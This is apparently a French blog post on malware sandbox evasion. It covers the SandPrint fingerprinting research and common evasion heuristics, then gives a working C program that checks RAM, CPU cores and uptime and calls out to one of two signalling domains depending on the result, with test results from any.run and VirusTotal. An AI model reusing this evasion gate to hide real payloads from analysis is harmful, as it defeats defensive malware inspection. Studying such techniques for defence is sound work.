Internet, le lieu où tout le monde peut s’exprimer, se rencontrer et débattre. Mais une face très sombre de ce monde virtuel existe : le cybercrime, le hacking, le vol de données, la fraude, et j’en passe.

Le cybercrime, ou les cyberattaques, est un sujet qui me passionne depuis longtemps. J’ai toujours été fasciné par la façon dont les mechants hackers peuvent contourner les systèmes de sécurité et comment les entreprises et les gouvernements tentent de se protéger contre ces menaces.

Dans cet article, on va discuter d’un concept très fascinant : l’évasion de sandbox. En quoi cela consiste ? Et pourquoi est-ce si crucial dans un paysage de cybercriminalité en constante évolution ? Tout cela et bien plus encore, c’est ce que nous allons découvrir ensemble.

Qu’est-ce qu’une sandbox ?

Les malwares sont une réalité. Ils existent, et ils sont là pour nous faire du mal. Mais nous, simples humains, ne savons pas forcément faire la différence à vue d’œil entre un fichier inoffensif et un fichier malveillant (encore moins les personnes qui ne sont pas du milieu de la cybersécurité).

C’est là que les sandboxes entrent en jeu. Pour faire simple, une sandbox, c’est un environnement isolé, souvent virtuel (une VM, un conteneur…), qui va nous permettre d’exécuter des fichiers ou des liens suspects en toute sécurité.

Il existe plusieurs types de sandbox : isolées du réseau, connectées à internet, accessibles au public, privées, etc. Mais le principe reste le même : exécuter du code potentiellement malveillant dans un environnement contrôlé et observer son comportement.

Les sandboxes accessibles au public, telles que VirusTotal, peuvent être utilisées par n’importe qui. Pour donner une idée de l’échelle, VirusTotal traite quasiment plus de 3 millions de fichiers et 8 millions d’URLs par jour !

alt text

Rendez-vous compte de la quantité de fichiers et d’URLs qui sont analysés chaque jour. C’est un travail titanesque. Vous devinez donc (j’espère) que ce sont des environnements totalement automatisés. Il est tout bonnement impossible de faire analyser 3 millions de fichiers par jour par des humains.

C’est précisément parce que ces sandboxes sont automatisées qu’elles présentent une faiblesse : qui dit automatisation dit également une possibilité de fingerprinting (prise d’empreinte). Pourquoi ? Car tous ces environnements de sandbox ont tendance à se ressembler. Il s’agit souvent de snapshots de VM ou de VM clonées avec des caractéristiques et attributs très similaires.

Une étude de 2016 (un peu vieille, certes, mais dont les principes restent d’actualité, on va le voir) illustre bien cela :

SandPrint: Fingerprinting Malware Sandboxes to Provide Intelligence for Sandbox Evasion

Leur technique de fingerprinting consistait à envoyer un fichier exécutable, nommé “SandPrint”, qui, une fois exécuté dans la sandbox, était capable de récupérer des informations sur l’environnement d’exécution, telles que :

alt text (Source: SandPrint Paper RAID 2016)

Ils avaient ainsi un visuel global de la machine dans laquelle leur outil s’exécutait. Cela leur a permis d’obtenir 2661 rapports (issus de 221 exécutions effectives parmi leurs 440 soumissions) et d’identifier 76 environnements de sandbox différents, éparpillés dans 33 pays.

Ils ont notamment pu constater que la plupart des sandboxes utilisaient des VM Windows, qui étaient souvent clonées depuis des années (même date d’installation, même ID produit…).

Egalement, la majorité absolue tournait sur des VM VMware (on peut se demander si, avec les nouvelles tarifications de VMware, certains ne sont pas passés sous Proxmox depuis ;)).

En résumé, cette étude a permis de :

  • Prouver qu’il existe des signatures identifiables dans la configuration des sandboxes.
  • Démontrer la faisabilité d’une détection automatique (donc potentiellement utilisable par un malware) pour savoir s’il tourne dans une sandbox et, le cas échéant, éviter de révéler sa charge utile (payload).
  • Mettre en évidence que les mêmes méthodes peuvent servir à détecter (et donc contourner) des solutions de sécurité commerciales reposant aussi sur des sandboxes Windows.

Ces travaux illustrent un problème fondamental : les sandboxes, bien qu’indispensables, ne sont pas infaillibles. Selon cette source récente (2024), on estime qu’entre 40% et 80% des malwares utilisent des techniques d’évasion de sandbox. De plus, selon cette étude, les malwares se comportent différemment selon leur environnement d’exécution, ce qui peut fausser et/ou compliquer les résultats de détection.

Pourtant, il faut noter que certains fournisseurs de sandbox affirment qu’ils arrivent à détecter 99% des malwares.

Alors, qui a raison ? La réalité est probablement nuancée (les vendeurs testent peut-être contre des menaces connues, tandis que les statistiques d’évasion reflètent l’efficacité contre des malwares plus sophistiqués utilisant des techniques d’évasion).

Déjà, de ce qui est connu et documenté, les malwares peuvent utiliser diverses techniques, notamment :

  • Le fingerprinting (identifier les caractéristiques spécifiques de la sandbox : noms de fichiers/processus liés à la virtualisation, artefacts matériels spécifiques aux VM, etc.).
  • Le delay (attendre une action utilisateur spécifique, comme un mouvement de souris, ou simplement patienter un certain temps avant d’exécuter la charge utile, partant du principe qu’une sandbox automatisée a un temps d’analyse limité).
  • La détection d’IP (vérifier si l’adresse IP source appartient à une plage connue de datacenters ou de services d’analyse).
  • Et beaucoup d’autres approches (détection des outils de débogage, vérification de la résolution d’écran, etc.).

Mais plusieurs papiers de recherche et articles de blog adoptent un point de vue différent. Ils suggèrent qu’il n’est peut-être pas judicieux pour un malware d’essayer de détecter spécifiquement s’il est dans une sandbox. Il vaudrait mieux s’assurer que l’environnement où il est exécuté est bien une machine ‘réelle’ et utilisée par un humain.

Car l’objectif principal des attaquants est de déterminer les caractéristiques d’une machine cible légitime, plutôt que de lister toutes les sandbox possibles.

Par exemple, un malware pourrait :

  • Regarder s’il existe des fichiers de log Outlook récents et volumineux.
  • Chercher des fichiers conséquents en relation avec une activité quotidienne des produits Office.
  • Vérifier l’uptime du système (souvent très court dans une sandbox fraîchement démarrée).
  • Regarder le nombre de cœurs CPU (parfois limité artificiellement dans les VMs d’analyse).
  • Vérifier si la machine est jointe à un domaine Active Directory.
  • Analyser l’historique de navigation ou la présence de certains logiciels courants non liés à l’analyse.

…Tant de petites vérifications qui peuvent aider le malware à faire la différence entre une VM de test isolée et une machine de travail potentiellement intéressante.

Un peu de pratique

On va essayer de coder notre propre “malware”, mais celui-ci ne sera bien évidemment pas malveillant. On va simplement faire quelques checks pour voir si on tourne dans une sandbox ou pas.

On va vérifier si le PC a une mémoire vive suffisante (disons, au moins 4Go), si le nombre de cœurs CPU est suffisant (au moins 4 cœurs), et aussi si le PC a un uptime suffisant (au moins 5 minutes). Avec ça, on s’assure que la VM n’est pas trop fraîche et qu’elle a un minimum de ressources, comme une machine utilisateur classique.

Car on ne peut pas s’imaginer en 2025, un utilisateur avec moins de 4Go de RAM…

Tout d’abord, voici le code C que l’on va utiliser (Merci o1):

#include <windows.h>
#include <wininet.h>
#include <stdio.h>

#pragma comment(lib, "wininet.lib")

// Paramètres heuristiques
#define MIN_REQUIRED_MEM_MB       4096   // exiger >= 4 GB RAM
#define MIN_REQUIRED_CORES        4      // exiger >= 4 coeurs CPU
#define MIN_UPTIME_SEC            300    // exiger >= 5 minutes

// Vérifier la mémoire (RAM) totale : s'il y a moins de 4Go, on suspecte un sandbox
BOOL isMemorySuspicious() {
    MEMORYSTATUSEX mem;
    mem.dwLength = sizeof(mem);
    if (GlobalMemoryStatusEx(&mem)) {
        DWORDLONG totalMB = mem.ullTotalPhys / (1024ULL * 1024ULL);
        if (totalMB < MIN_REQUIRED_MEM_MB) {
            return TRUE;
        }
    }
    return FALSE;
}

// Vérifier le nombre de cœurs CPU
BOOL isCpuCoreSuspicious() {
    SYSTEM_INFO si;
    GetSystemInfo(&si);
    // si.dwNumberOfProcessors = nombre de CPU logiques
    // Sur un bac à sable, on retrouve souvent 1 ou 2
    if (si.dwNumberOfProcessors < MIN_REQUIRED_CORES) {
        return TRUE;
    }
    return FALSE;
}

// Vérifier un uptime minimal
BOOL isUptimeSuspicious() {
    DWORD upMS = GetTickCount();  // Valeur 32 bits, se réinitialise après ~49 jours
    DWORD upSec = upMS / 1000UL;
    if (upSec < MIN_UPTIME_SEC) {
        return TRUE;
    }
    return FALSE;
}

// Simple fonction de connexion
void contactURL(const char* url) {
    HINTERNET hInternet = InternetOpenA("EvasionAgent", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    if (hInternet) {
        HINTERNET hFile = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
        if (hFile) {
            printf("[INFO] Requête envoyée vers %s\n", url);
            InternetCloseHandle(hFile);
        } else {
            printf("[ERROR] Impossible d'ouvrir l'URL: %s\n", url);
        }
        InternetCloseHandle(hInternet);
    } else {
        printf("[ERROR] InternetOpenA a échoué\n");
    }
}

int main(void) {
    BOOL suspicious = FALSE;
    
    // 1) RAM
    if (isMemorySuspicious()) {
        suspicious = TRUE;
    }
    // 2) CPU cores
    if (isCpuCoreSuspicious()) {
        suspicious = TRUE;
    }
    // 4) uptime
    if (isUptimeSuspicious()) {
        suspicious = TRUE;
    }

    if (suspicious) {
        // contact le site "sandbox"
        contactURL("http://cest-sandbox.fr");
    } else {
        // contact site "reel"
        contactURL("http://cest-reel.fr");
    }

    return 0;
}

De plus, pour valider notre expérimentation, on va utiliser une technique simple.

Si le script détecte que c’est une sandbox, il va faire une requête DNS vers cest-sandbox.fr, et s’il détecte que c’est une machine réelle, il va faire une requête vers cest-reel.fr. (Note: Comme expliqué, c’est techniquement une requête HTTP via WinInet, mais l’intention de signalement est là).

Donc, sans plus attendre, lançons notre code sur any.run, qui est une sandbox très connue et qui permet, en plus de toutes les fonctionnalités incroyables qu’elle possède, d’interagir avec la VM.

Vous trouverez ici : Tache Sandbox l’analyse.

alt text

Comme vous pouvez le constater, notre script a bel et bien fait une requête vers cest-sandbox.fr, prouvant que notre script a bien détecté qu’il était dans une sandbox. Cela est crucial, car si j’avais voulu, j’aurais pu cacher derrière ce script un malware, qui n’aurait peut-être jamais été découvert par Any.Run lors d’une analyse rapide.

Mais bon, cela, c’était juste Any.Run. Si on lance mon script sur VirusTotal, c’est une tout autre histoire…

Virus Total scan

Il a été détecté par 13 antivirus sur 73, et classifié comme Trojan… La raison, c’est la méthode d’analyse de VirusTotal. En effet, VirusTotal effectue principalement de l’analyse statique (et des analyses comportementales dans ses propres sandboxes, dont les rapports sont visibles dans l’onglet “Behavior”).

Lors de l’analyse statique, VT va se dire par exemple : “Tiens, ce binaire utilise des appels réseau WinInet, fait des checks système, alloue certains patterns de données… Ça ressemble à du malware”.

Et donc, il va le détecter comme tel. Également, mon script est extrêmement simple, et donc je suis sûr que certains moteurs, pour ne pas dire la majorité, ont été entraînés avec des milliers de samples qui ressemblent au mien et qui, de base, ne font pas des choses très sympathiques. Le moteur le détecte donc comme un malware par association de patterns.

Ce qu’on pourrait essayer dans un prochain post, c’est de passer par de l’obfuscation, avec des outils comme UPX ou autres… (Ne jugez pas, je ne suis pas un expert en obfuscation ni en reverse engineering !)

Conclusion

Voilà pour cette exploration de l’évasion de sandbox ! Prochaine étape ? Peut-être creuser l’obfuscation et d’autres techniques anti-analyse pour aller plus loin dans la discrétion.

Merci beaucoup pour votre lecture et à bientôt !